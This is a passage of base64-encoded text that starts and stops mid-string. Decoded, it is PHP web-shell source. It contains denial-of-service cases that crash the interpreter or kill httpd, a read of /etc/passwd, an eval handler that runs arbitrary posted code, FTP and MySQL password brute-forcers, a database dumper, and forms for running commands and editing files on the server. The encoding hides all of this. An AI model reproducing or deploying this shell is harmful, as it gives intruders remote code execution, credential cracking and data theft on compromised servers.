BuZXcgU3FsaXRlRGF0YWJhc2UoImZvbyIpOwogYnJlYWs7CiBjYXNlICdkb3M2JzoKIHByZWdfbWF0Y2goJy8oLig/IWIpKSovJywgQHN0cl9yZXBlYXQoImEiLCAxMDAwMCkpOwogYnJlYWs7CiBjYXNlICdkb3M3JzoKIEBzdHJfcmVwbGFjZSgiQSIsIHN0cl9yZXBlYXQoIkIiLCA2NTUzNSksIHN0cl9yZXBlYXQoIkEiLCA2NTUzOCkpOwogYnJlYWs7CiBjYXNlICdkb3M4JzoKIEBzaGVsbF9leGVjKCJraWxsYWxsIC0xMSBodHRwZCIpOwogYnJlYWs7CiBjYXNlICdkb3M5JzoKIGZ1bmN0aW9uIGN4KCl7IEB0ZW1wbmFtKCIvd3d3LyIsICcuLi8uLi8uLi8uLi8uLi8uLicuJHRlbXBkaXIuJ2N4Jyk7IGN4KCk7IH0gY3goKTsKIGJyZWFrOwogY2FzZSAnZG9zMTAnOgogJGEgPSBAc3RyX3JlcGVhdCAoIkEiLDQzODAxMyk7JGIgPSBAc3RyX3JlcGVhdCAoIkIiLDk1MTE0MCk7QHdvcmR3cmFwICgkYSwwLCRiLDApOwogYnJlYWs7CiBjYXNlICdkb3MxMSc6CiBAYXJyYXlfZmlsbCgxLDEyMzQ1Njc4OSwiSW5maWdvLUlTIik7CiBicmVhazsKIGNhc2UgJ2RvczEyJzoKIEBzdWJzdHJfY29tcGFyZSgiQSIsIkEiLDEyMzQ1Njc4KTsKIGJyZWFrOwogY2FzZSAnZG9zMTMnOgogQHVuc2VyaWFsaXplKCJhOjIxNDc0ODM2NDk6eyIpOwogYnJlYWs7CiBjYXNlICdkb3MxNCc6CiAkRGF0YSA9IEBzdHJfaXJlcGxhY2UoIlxuIiwgIjxicj4iLCAkRGF0YSk7CiBicmVhazsKIGNhc2UgJ2RvczE1JzoKIGZ1bmN0aW9uIHRvVVRGKCR4KSB7cmV0dXJuIGNocigoJHggPj4gNikgKyAxOTIpIC4gY2hyKCgkeCAmIDYzKSArIDEyOCk7fQogJHN0cjEgPSAiIjtmb3IoJGk9MDsgJGkgPCA2NDsgJGkrKyl7ICRzdHIxIC49IHRvVVRGKDk3Nyk7fQogQGh0bWxlbnRpdGllcygkc3RyMSwgRU5UX05PUVVPVEVTLCAiVVRGLTgiKTsKIGJyZWFrOwogY2FzZSAnZG9zMTYnOgogJHIgPSBAemlwX29wZW4oInguemlwIik7JGUgPSBAemlwX3JlYWQoJHIpOyR4ID0gQHppcF9lbnRyeV9vcGVuKCRyLCAkZSk7CiBmb3IgKCRpPTA7ICRpPDEwMDA7ICRpKyspICRhcnJbJGldPWFycmF5KGFycmF5KCIiKSk7CiB1bnNldCgkYXJyWzYwMF0pO0B6aXBfZW50cnlfcmVhZCgkZSwgLTEpO3Vuc2V0KCRhcnJbNjAxXSk7CiBicmVhazsKIGNhc2UgJ2RvczE3JzoKICR6ID0gIlVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVVIjsgCiAkeSA9ICJERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERERCI7IAogJHggPSAiQVEgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiOyAKIHVuc2V0KCR6KTt1bnNldCgkeSk7JHggPSBiYXNlNjRfZGVjb2RlKCR4KTskeSA9IEBzcWxpdGVfdWRmX2RlY29kZV9iaW5hcnkoJHgpO3Vuc2V0KCR4KTsKIGJyZWFrOwogY2FzZSAnZG9zMTgnOgogJE1TR0tFWSA9IDUxOTA1MjskbXNnX2lkID0gQG1zZ19nZXRfcXVldWUgKCRNU0dLRVksIDA2MDApOyAKIGlmICghQG1zZ19zZW5kICgkbXNnX2lkLCAxLCAnQUFBQUJCQkJDQ0NDREREREVFRUVGRkZGR0dHR0hISEgnLCBmYWxzZSwgdHJ1ZSwgJG1zZ19lcnIpKSAKIGVjaG8gIk1zZyBub3Qgc2VudCBiZWNhdXNlICRtc2dfZXJyXG4iOyAKIGlmIChAbXNnX3JlY2VpdmUgKCRtc2dfaWQsIDEsICRtc2dfdHlwZSwgMHhmZmZmZmZmZiwgJF9TRVNTSU9OLCBmYWxzZSwgMCwgJG1zZ19lcnJvcikpIHsgCiBlY2hvICIkbXNnXG4iOyAKIH0gZWxzZSB7IGVjaG8gIlJlY2VpdmVkICRtc2dfZXJyb3IgZmV0Y2hpbmcgbWVzc2FnZVxuIjsgYnJlYWs7IH0gCiBAbXNnX3JlbW92ZV9xdWV1ZSAoJG1zZ19pZCk7CiBicmVhazsKIGNhc2UgJ2RvczE5JzoKICR1cmwgPSAicGhwOi8vZmlsdGVyL3JlYWQ9T0ZGX0JZX09ORS4vcmVzb3VyY2U9L2V0Yy9wYXNzd2QiOyBAZm9wZW4oJHVybCwgInIiKTsKIGJyZWFrOwogY2FzZSAnZG9zMjAnOgogJGhhc2h0YWJsZSA9IHN0cl9yZXBlYXQoIkEiLCAzOSk7CiAkaGFzaHRhYmxlWzUqNCswXT1jaHIoMHg1OCk7JGhhc2h0YWJsZVs1KjQrMV09Y2hyKDB4NDApOyRoYXNodGFibGVbNSo0KzJdPWNocigweDA2KTskaGFzaHRhYmxlWzUqNCszXT1jaHIoMHgwOCk7CiAkaGFzaHRhYmxlWzgqNCswXT1jaHIoMHg2Nik7JGhhc2h0YWJsZVs4KjQrMV09Y2hyKDB4NzcpOyRoYXNodGFibGVbOCo0KzJdPWNocigweDg4KTskaGFzaHRhYmxlWzgqNCszXT1jaHIoMHg5OSk7CiAkc3RyID0gJ2E6MTAwMDAwOntzOjg6IkFBQUFCQkJCIjthOjM6e3M6MTI6IjAxMjM0NTY3ODlBQSI7YToxOntzOjEyOiJBQUFBQkJCQkNDQ0MiO2k6MDt9czoxMjoiMDEyMzQ1Njc4QUFBIjtpOjA7czoxMjoiMDEyMzQ1Njc4QkFOIjtpOjA7fSc7CiBmb3IgKCRpPTA7ICRpPDY1NTM1OyAkaSsrKSB7ICRzdHIgLj0gJ2k6MDtSOjI7JzsgfQogJHN0ciAuPSAnczozOToiWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYWFhYIjtzOjM5OiInLiRoYXNodGFibGUuJyI7aTowO1I6MzsnOwogQHVuc2VyaWFsaXplKCRzdHIpOwogYnJlYWs7CiBjYXNlICdkb3MyMSc6CiBpbWFnZWNyZWF0ZXRydWVjb2xvcigxMjM0LDEwNzM3NDE4MjQpOwogYnJlYWs7CiBjYXNlICdkb3MyMic6CiBpbWFnZWNvcHlyZXNpemVkKGltYWdlY3JlYXRldHJ1ZWNvbG9yKDB4N2ZmZmZmZmYsIDEyMCksaW1hZ2VjcmVhdGV0cnVlY29sb3IoMTIwLCAxMjApLCAwLCAwLCAwLCAwLCAweDdmZmZmZmZmLCAxMjAsIDEyMCwgMTIwKTsKIGJyZWFrOwogY2FzZSAnZG9zMjMnOgogJGEgPSBzdHJfcmVwZWF0ICgiQSIsOTk4OTc3Nik7ICRiID0gc3RyX3JlcGVhdCgiLyIsIDI3OTgzNDkpOyBpY29udl9zdWJzdHIoJGEsMCwxLCRiKTsKIGJyZWFrOwogY2FzZSAnZG9zMjQnOgogc2V0bG9jYWxlKExDX0NPTExBVEUsIHN0cl9yZXBlYXQoIkEiLCAzNDQzODAxMykpOwogYnJlYWs7CiBjYXNlICdkb3MyNSc6CiBnbG9iKHN0cl9yZXBlYXQoIkEiLCA5NjM4MDEzKSk7CiBicmVhazsKIGNhc2UgJ2RvczI2JzoKIGdsb2IoImEiLC0xKTsKIGJyZWFrOwogY2FzZSAnZG9zMjcnOgogZm5tYXRjaCgiKlsxXWUiLCBzdHJfcmVwZWF0KCJBIiwgOTYzODAxMykpOwogYnJlYWs7CiBjYXNlICdkb3MyOCc6CiBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgiZ2QiKSl7ICRidWZmID0gc3RyX3JlcGVhdCgiQSIsOTk5OSk7ICRyZXMgPSBpbWFnZXBzbG9hZGZvbnQoJGJ1ZmYpOyBlY2hvICJib29tISFcbiI7fQogYnJlYWs7CiBjYXNlICdkb3MyOSc6CiBpZihmdW5jdGlvbl9leGlzdHMoJ21zcWxfY29ubmVjdCcpKXsgbXNxbF9wY29ubmVjdChzdHJfcmVwZWF0KCdBJyw0OTQyNCkuJ0JCQkInKTsgbXNxbF9jb25uZWN0KHN0cl9yZXBlYXQoJ0EnLDQ5NDI0KS4nQkJCQicpO30KIGJyZWFrOwogY2FzZSAnZG9zMzAnOgogJGE9c3RyX3JlcGVhdCgiQSIsIDY1NTM1KTsgICRiPTE7ICAkYz1zdHJfcmVwZWF0KCJBIiwgNjU1MzUpOyAgY2h1bmtfc3BsaXQoJGEsJGIsJGMpOwogYnJlYWs7CiBjYXNlICdkb3MzMSc6CiBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgid2luMzJzdGQiKSApIHsgd2luX2Jyb3dzZV9maWxlKCAxLCBOVUxMLCBzdHJfcmVwZWF0KCAiXHg5MCIsIDI2NCApLCBOVUxMLCBhcnJheSggIioiID0+ICIqLioiICkgKTt9CiBicmVhazsKIGNhc2UgJ2RvczMyJzoKIGlmIChleHRlbnNpb25fbG9hZGVkKCAiaWlzZnVuYyIgKSApeyAkYnVmX3VuaWNvZGUgPSBzdHJfcmVwZWF0KCAiQSIsIDI1NiApOyAkZWlwX3VuaWNvZGUgPSAiXHg0MVx4NDEiOyBpaXNfZ2V0c2VydmljZXN0YXRlKCAkYnVmX3VuaWNvZGUgLiAkZWlwX3VuaWNvZGUgKTt9CiBicmVhazsKIGNhc2UgJ2RvczMzJzoKICRidWZmID0gc3RyX3JlcGVhdCgiXHg0MSIsIDI1MCk7JGdldF9FSVAgPSAiXHg0Mlx4NDIiOyRnZXRfRVNQID0gc3RyX3JlcGVhdCgiXHg0MyIsIDEwMCk7JGdldF9FQlAgPSBzdHJfcmVwZWF0KCJceDQ0IiwgMTAwKTtudHVzZXJfZ2V0dXNlcmxpc3QoJGJ1ZmYuJGdldF9FSVAuJGdldF9FU1AuJGdldF9FQlApOwogYnJlYWs7CiBjYXNlICdkb3MzNCc6CiBpZiAoZXh0ZW5zaW9uX2xvYWRlZCgiYnoyIikpeyAkYnVmZiA9IHN0cl9yZXBlYXQoImEiLDEwMDApOyBjb21fcHJpbnRfdHlwZWluZm8oJGJ1ZmYpO30KIGJyZWFrOwogY2FzZSAnZG9zMzUnOgogJGEgPSBzdHJfcmVwZWF0KCIvIiwgNDE5OTAwMCk7IGljb252KDEsICRhLCAxKTsKIGJyZWFrOwogY2FzZSAnZG9zMzYnOgogJGEgPSBzdHJfcmVwZWF0KCIvIiwgMjk5MTM3MCk7IGljb252X21pbWVfZGVjb2RlX2hlYWRlcnMoMCwgMSwgJGEpOwogYnJlYWs7CiBjYXNlICdkb3MzNyc6CiAkYSA9IHN0cl9yZXBlYXQoIi8iLCAzNzk5MDAwKTsgaWNvbnZfbWltZV9kZWNvZGUoMSwgMCwgJGEpOwogYnJlYWs7CiBjYXNlICdkb3MzOCc6CiAkYSA9IHN0cl9yZXBlYXQoIi8iLCA5NzkxOTk5KTsgaWNvbnZfc3RybGVuKDEsICRhKTsKIGJyZWFrOwp9CgppZiAoJF9QT1NUWydjbWQnXT09InBocF9ldmFsIil7CiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPD8iLCIiLCRfUE9TVFsncGhwX2V2YWwnXSk7CiAkZXZhbCA9IEBzdHJfcmVwbGFjZSgiPz4iLCIiLCRldmFsKTsKIEBldmFsKCRldmFsKTt9CgppZiAoJF9QT1NUWydjbWQnXT09ImZ0cF9icnV0ZSIpCiB7CiAkc3VjID0gMDsKIGlmKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdwYXNzd2QnKXsKIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQogIHsKICAgICRjb25uZWN0aW9uID0gQGZ0cF9jb25uZWN0KCRmdHBfc2VydmVyLCRmdHBfcG9ydCwxMCk7CiAgICBpZihAZnRwX2xvZ2luKCRjb25uZWN0aW9uLCR1c2VyLCR1c2VyKSkgeyBlY2hvICJbK10gJHVzZXI6JHVzZXIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfQogICAgZWxzZSBpZihpc3NldCgkX1BPU1RbJ3JldmVyc2UnXSkpIHsgaWYoQGZ0cF9sb2dpbigkY29ubmVjdGlvbiwkdXNlcixzdHJyZXYoJHVzZXIpKSkgeyBlY2hvICJbK10gJHVzZXI6Ii5zdHJyZXYoJHVzZXIpLiIgLSBzdWNjZXNzXHJcbiI7ICRzdWMrKzsgfSB9IAogICAgQGZ0cF9jbG9zZSgkY29ubmVjdGlvbik7CiAgfQogfWVsc2UgaWYoKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdkaWMnKSAmJiBpc3NldCgkX1BPU1RbJ2Z0cF9sb2dpbiddKSl7CiAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCiAgewogICAgJGNvbm5lY3Rpb24gPSBAZnRwX2Nvbm5lY3QoJGZ0cF9zZXJ2ZXIsJGZ0cF9wb3J0LDEwKTsKICAgIGlmKEBmdHBfbG9naW4oJGNvbm5lY3Rpb24sJF9QT1NUWydmdHBfbG9naW4nXSwkdXNlcikpIHsgZWNobyAiWytdICIuJF9QT1NUWydmdHBfbG9naW4nXS4iOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0KICAgIEBmdHBfY2xvc2UoJGNvbm5lY3Rpb24pOwogIH0KIH0KIGVjaG8gIlxyXG4tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXHJcbiI7CiAkY291bnQgPSBjb3VudCgkdXNlcnMpOwogaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pICYmICgkX1BPU1RbJ2JydXRlX21ldGhvZCddPT0ncGFzc3dkJykpIHsgJGNvdW50ICo9IDI7IH0KIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk3J10uJGNvdW50LiJcclxuIjsKIGVjaG8gJGxhbmdbJGxhbmd1YWdlLidfdGV4dDk4J10uJHN1Yy4iXHJcbiI7CiB9CgppZiAoJF9QT1NUWydjbWQnXT09ImRiX2JydXRlIikKIHsKICRzdWMgPSAwOwogaWYoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpewogZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCiAgewogICAkc3FsID0gbmV3IG15X3NxbCgpOwogICAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOwogICAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsKICAgJHNxbC0+cG9ydCA9ICRfUE9TVFsnZGJfcG9ydCddOwogICAkc3FsLT51c2VyID0gJHVzZXI7CiAgICRzcWwtPnBhc3MgPSAkdXNlcjsKICAgaWYoJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlsrXSAkdXNlcjokdXNlciAtIHN1Y2Nlc3NcclxuIjsgJHN1YysrOyB9CiAgfQogaWYoaXNzZXQoJF9QT1NUWydyZXZlcnNlJ10pKQogIHsKICAgZm9yZWFjaCgkdXNlcnMgYXMgJHVzZXIpCiAgICB7CiAgICAgJHNxbCA9IG5ldyBteV9zcWwoKTsKICAgICAkc3FsLT5kYiAgID0gJF9QT1NUWydkYiddOwogICAgICRzcWwtPmhvc3QgPSAkX1BPU1RbJ2RiX3NlcnZlciddOwogICAgICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsKICAgICAkc3FsLT51c2VyID0gJHVzZXI7CiAgICAgJHNxbC0+cGFzcyA9IHN0cnJldigkdXNlcik7CiAgICAgaWYoJHNxbC0+Y29ubmVjdCgpKSB7IGVjaG8gIlsrXSAkdXNlcjoiLnN0cnJldigkdXNlcikuIiAtIHN1Y2Nlc3NcclxuIjsgJHN1YysrOyB9CiAgICB9CiAgfQogfWVsc2UgaWYoKCRfUE9TVFsnYnJ1dGVfbWV0aG9kJ109PSdkaWMnKSAmJiBpc3NldCgkX1BPU1RbJ215c3FsX2wnXSkpewogIGZvcmVhY2goJHVzZXJzIGFzICR1c2VyKQogIHsKICAgJHNxbCA9IG5ldyBteV9zcWwoKTsKICAgJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsKICAgJHNxbC0+aG9zdCA9ICRfUE9TVFsnZGJfc2VydmVyJ107CiAgICRzcWwtPnBvcnQgPSAkX1BPU1RbJ2RiX3BvcnQnXTsKICAgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOwogICAkc3FsLT5wYXNzID0gJHVzZXI7CiAgIGlmKCRzcWwtPmNvbm5lY3QoKSkgeyBlY2hvICJbK10gIi4kX1BPU1RbJ215c3FsX2wnXS4iOiR1c2VyIC0gc3VjY2Vzc1xyXG4iOyAkc3VjKys7IH0KICB9CiB9CiBlY2hvICJcclxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLVxyXG4iOwogJGNvdW50ID0gY291bnQoJHVzZXJzKTsKIGlmKGlzc2V0KCRfUE9TVFsncmV2ZXJzZSddKSAmJiAoJF9QT1NUWydicnV0ZV9tZXRob2QnXT09J3Bhc3N3ZCcpKSB7ICRjb3VudCAqPSAyOyB9CiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5NyddLiRjb3VudC4iXHJcbiI7CiBlY2hvICRsYW5nWyRsYW5ndWFnZS4nX3RleHQ5OCddLiRzdWMuIlxyXG4iOwogfQoKaWYgKCRfUE9TVFsnY21kJ109PSJteXNxbF9kdW1wIikKIHsKICBpZihpc3NldCgkX1BPU1RbJ2RpZiddKSkgeyBtb3Jld3JpdGUoJF9QT1NUWydkaWZfbmFtZSddLCAibXlzcWxfZHVtcFxyXG4iKTsgfQogICRzcWwgPSBuZXcgbXlfc3FsKCk7CiAgJHNxbC0+ZGIgICA9ICRfUE9TVFsnZGInXTsKICAkc3FsLT5ob3N0ID0gJF9QT1NUWydkYl9zZXJ2ZXInXTsKICAkc3FsLT5wb3J0ID0gJF9QT1NUWydkYl9wb3J0J107CiAgJHNxbC0+dXNlciA9ICRfUE9TVFsnbXlzcWxfbCddOwogICRzcWwtPnBhc3MgPSAkX1BPU1RbJ215c3FsX3AnXTsKICAkc3FsLT5iYXNlID0gJF9QT1NUWydteXNxbF9kYiddOwogIGlmKCEkc3FsLT5jb25uZWN0KCkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBjb25uZWN0IHRvIFNRTCBzZXJ2ZXIiOyB9CiAgZWxzZSBpZighJHNxbC0+c2VsZWN0X2RiKCkpIHsgZWNobyAiWy1dIEVSUk9SISBDYW4ndCBzZWxlY3QgZGF0YWJhc2UiOyB9CiAgZWxzZSBpZighJHNxbC0+ZHVtcCgkX1BPU1RbJ215c3FsX3RibCddKSkgeyBlY2hvICJbLV0gRVJST1IhIENhbid0IGNyZWF0ZSBkdW1wIjsgfQogIGVsc2UgewogICBpZihlbXB0eSgkX1BPU1RbJ2RpZiddKSkgeyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpIGVjaG8gJHYuIlxyXG4iOyB9CiAgIGVsc2UgaWYoQGlzX3dyaXRhYmxlKCRfUE9TVFsnZGlmX25hbWUnXSkpeyBmb3JlYWNoKCRzcWwtPmR1bXAgYXMgJHYpeyBtb3Jld3JpdGUoJF9QT1NUWydkaWZfbmFtZSddLCAkdi4iXHJcbiIpO30gfSAKICAgZWxzZSB7IGVjaG8gIlstXSBFUlJPUiEgQ2FuJ3Qgd3JpdGUgaW4gZHVtcCBmaWxlIjsgfQogICB9CiB9IAoKZWNobyAiPC90ZXh0YXJlYT48L2Rpdj4iOwplY2hvICI8L2I+IjsKZWNobyAiPC90ZD48L3RyPjwvdGFibGU+IjsKZWNobyAiPHRhYmxlIHdpZHRoPTEwMCUgY2VsbHBhZGRpbmc9MCBjZWxsc3BhY2luZz0wPiI7CgpmdW5jdGlvbiBkaXZfdGl0bGUoJHRpdGxlLCAkaWQpCnsKICByZXR1cm4gJzxhIHN0eWxlPSJjdXJzb3I6IHBvaW50ZXI7IiBvbkNsaWNrPSJjaGFuZ2VfZGl2c3QoXCcnLiRpZC4nXCcpOyI+Jy4kdGl0bGUuJzwvYT4nOwp9CmZ1bmN0aW9uIGRpdigkaWQpCiB7IAogaWYoaXNzZXQoJF9DT09LSUVbJGlkXSkgJiYgKCRfQ09PS0lFWyRpZF09PTApKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+JzsgCiAkZGl2aWQ9YXJyYXkoJ2lkNScsJ2lkNicsJ2lkOCcsJ2lkOScsJ2lkMTAnLCdpZDExJywnaWQxNicsJ2lkMjQnLCdpZDI1JywnaWQyNicsJ2lkMjcnLCdpZDI4JywnaWQyOScsJ2lkMzMnLCdpZDM0JywnaWQzNScsJ2lkMzcnLCdpZDM4JywnaWQzOScpOwogaWYoZW1wdHkoJF9DT09LSUVbJGlkXSkgJiYgQGluX2FycmF5KCRpZCwkZGl2aWQpKSByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciIHN0eWxlPSJkaXNwbGF5OiBub25lOyI+JzsgCiByZXR1cm4gJzxkaXYgaWQ9IicuJGlkLiciPic7CiB9CiAKaWYoISRzYWZlX21vZGUpewplY2hvICRmcy4kdGFibGVfdXAxLmRpdl90aXRsZSgkbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MiddLCdpZDEnKS4kdGFibGVfdXAyLmRpdignaWQxJykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2NtZCcsODUsJycpKTsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdkaXInLDg1LCRkaXIpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDEnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KZWxzZXsKZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDI4J10sJ2lkMicpLiR0YWJsZV91cDIuZGl2KCdpZDInKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZGlyJyw4NSwkZGlyKS5pbignaGlkZGVuJywnY21kJywwLCdzYWZlX2RpcicpLndzKDQpLmluKCdzdWJtaXQnLCdzdWJtaXQnLDAsJGxhbmdbJGxhbmd1YWdlLidfYnV0dDYnXSkpOwplY2hvICR0ZS4nPC9kaXY+Jy4kdGFibGVfZW5kMS4kZmU7Cn0KZWNobyAkZnMuJHRhYmxlX3VwMS5kaXZfdGl0bGUoJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQyJ10sJ2lkMycpLiR0YWJsZV91cDIuZGl2KCdpZDMnKS4kdHM7CmVjaG8gc3IoMTUsIjxiPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDQzJ10uJGFycm93LiI8L2I+IixpbigndGV4dCcsJ2VfbmFtZScsODUsJGRpcikuaW4oJ2hpZGRlbicsJ2NtZCcsMCwnZWRpdF9maWxlJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMSddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKCmlmKCRzYWZlX21vZGUgfHwgJG9wZW5fYmFzZWRpcil7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1NyddLCdpZDQnKS4kdGFibGVfdXAyLmRpdignaWQ0JykuJHRzOwplY2hvIHNyKDE1LCI8Yj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OCddLiRhcnJvdy4iPC9iPiIsaW4oJ3RleHQnLCdta19uYW1lJyw1NCwoIWVtcHR5KCRfUE9TVFsnbWtfbmFtZSddKT8oJF9QT1NUWydta19uYW1lJ10pOigibmV3X25hbWUiKSkpLndzKDQpLiI8c2VsZWN0IG5hbWU9YWN0aW9uPjxvcHRpb24gdmFsdWU9Y3JlYXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY1J10uIjwvb3B0aW9uPjxvcHRpb24gdmFsdWU9ZGVsZXRlPiIuJGxhbmdbJGxhbmd1YWdlLidfdGV4dDY2J10uIjwvb3B0aW9uPjwvc2VsZWN0PiIud3MoMykuIjxzZWxlY3QgbmFtZT13aGF0PjxvcHRpb24gdmFsdWU9ZmlsZT4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ1OSddLiI8L29wdGlvbj48b3B0aW9uIHZhbHVlPWRpcj4iLiRsYW5nWyRsYW5ndWFnZS4nX3RleHQ2MCddLiI8L29wdGlvbj48L3NlbGVjdD4iLmluKCdoaWRkZW4nLCdjbWQnLDAsJ21rJykuaW4oJ2hpZGRlbicsJ2RpcicsMCwkZGlyKS53cyg0KS5pbignc3VibWl0Jywnc3VibWl0JywwLCRsYW5nWyRsYW5ndWFnZS4nX2J1dHQxMyddKSk7CmVjaG8gJHRlLic8L2Rpdj4nLiR0YWJsZV9lbmQxLiRmZTsKfQoKaWYoJHVuaXggJiYgQGZ1bmN0aW9uX2V4aXN0cygndG91Y2gnKSl7CmVjaG8gJGZzLiR0YWJsZV91cDEuZGl2X3RpdGxlKCRsYW5nWyRsYW5ndWFnZS4nX3RleHQxMjgnXSwnaWQ1JykuJHRhYmxlX3VwMi5kaXYoJ2lkNScpLiR0czsKZWNobyBzcigxNSwiPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NDMnXS4kYXJyb3cuIjwvYj4iLGluKCd0ZXh0JywnZmlsZV9uYW1lJyw0MCwoIWVtcHR5KCRfUE9TVFsnZmlsZV9uYW1lJ10pPygkX1BPU1RbJ2ZpbGVfbmFtZSddKTooJF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdKSkpCi53cyg0KS4iPGI+Ii4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0MjYnXS53cygyKS4kbGFuZ1skbGFuZ3VhZ2UuJ190ZXh0NTknXS4kYXJyb3cuIjwvYj4iCi53cygyKS5pbigndGV4dCcsJ2ZpbGVfbmFtZV9yJyw0MCwoIWVtcHR5KCRfUE9TVFsnZmlsZV9uYW1lX3InXSk/KCRfUE9TVFsnZmlsZV9uYW1lX3InXSk6KCIiKSkpKTsKZWNobyBzcigxNSwiPGI+IG9yIHNldCAgRGF5Ii4kYXJyb3cuIjwvYj4iLAonCjxzZWxlY3QgbmFtZT0iZGF5IiBzaXplPSIxIj4KPG9wdGlvbiB2YWx1ZT0iMDEiPjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDIiPjI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDMiPjM8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDQiPjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDUiPjU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDYiPjY8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDciPjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDgiPjg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMDkiPjk8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTAiPjEwPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjExIj4xMTwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxMiI+MTI8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTMiPjEzPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE0Ij4xNDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxNSI+MTU8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTYiPjE2PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjE3Ij4xNzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIxOCI+MTg8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMTkiPjE5PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIwIj4yMDwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyMSI+MjE8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjIiPjIyPC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjIzIj4yMzwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNCI+MjQ8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjUiPjI1PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI2Ij4yNjwvb3B0aW9uPgo8b3B0aW9uIHZhbHVlPSIyNyI+Mjc8L29wdGlvbj4KPG9wdGlvbiB2YWx1ZT0iMjgiPjI4PC9vcHRpb24+CjxvcHRpb24gdmFsdWU9IjI5Ij